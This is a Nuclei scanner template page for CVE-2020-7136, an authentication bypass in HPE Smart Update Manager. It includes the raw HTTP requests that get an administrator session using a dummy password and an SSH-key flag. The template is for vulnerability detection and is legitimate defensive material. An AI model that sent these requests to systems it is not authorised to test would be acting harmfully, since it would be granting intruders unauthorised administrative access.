Skip to content
Nuclei Templates

HPE Smart Update Manager < 8.5.6 - Remote Unauthorized Access

ID: CVE-2020-7136

Severity: critical

Author: gy741

Tags: cve,cve2020,hp,auth-bypass,hpe,tenable

Description

Section titled “Description”

HPE Smart Update Manager (SUM) prior to version 8.5.6 could allow remote unauthorized access.

YAML Source

Section titled “YAML Source”
id: CVE-2020-7136


info:
  name: HPE Smart Update Manager < 8.5.6 - Remote Unauthorized Access
  author: gy741
  severity: critical
  description: HPE Smart Update Manager (SUM) prior to version 8.5.6 could allow remote unauthorized access.
  impact: |
    An attacker can gain unauthorized access to the HPE Smart Update Manager, potentially leading to further compromise of the system.
  remediation: Hewlett Packard Enterprise has provided a software update to resolve this vulnerability in HPE Smart Update Manager (SUM) prior to 8.5.6. Please visit the HPE Support Center at https://support.hpe.com/hpesc/public/home to download the latest version of HPE Smart Update Manager (SUM). Download the latest version of HPE Smart Update Manager (SUM) or download the latest Service Pack For ProLiant (SPP).
  reference:
    - https://www.tenable.com/security/research/tra-2020-02
    - https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=emr_na-hpesbmu03997en_us
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7136
    - https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03997en_us
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7136
    cwe-id: CWE-288
    epss-score: 0.26929
    epss-percentile: 0.96763
    cpe: cpe:2.3:a:hpe:smart_update_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hpe
    product: smart_update_manager
  tags: cve,cve2020,hp,auth-bypass,hpe,tenable


http:
  - raw:
      - |
        POST /session/create HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json


        {"hapi":{"username":"Administrator","password":"any_password","language":"en","mode":"gui", "usesshkey":true, "privatekey":"any_privateky", "passphrase":"any_passphase","settings":{"output_filter":"passed","port_number":"444"}}}
      - |
        GET /session/{{sessionid}}/node/index HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body
        words:
          - "hmessage"
          - "Command completed successfully."
          - "node_name"
        condition: and


    extractors:
      - type: regex
        name: sessionid
        group: 1
        regex:
          - '"sessionId":"([a-z0-9.]+)"'
        internal: true
        part: body
# digest: 4b0a00483046022100b51da8164c0a6c583a7ac558fbfe9fe1784627b88f69cd17515a1df02de686ae022100f40b8006cc42466353ae61e458fcf8302217199966b4e4e8b9ac4c81adeac7e1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-7136.yaml"

View on Github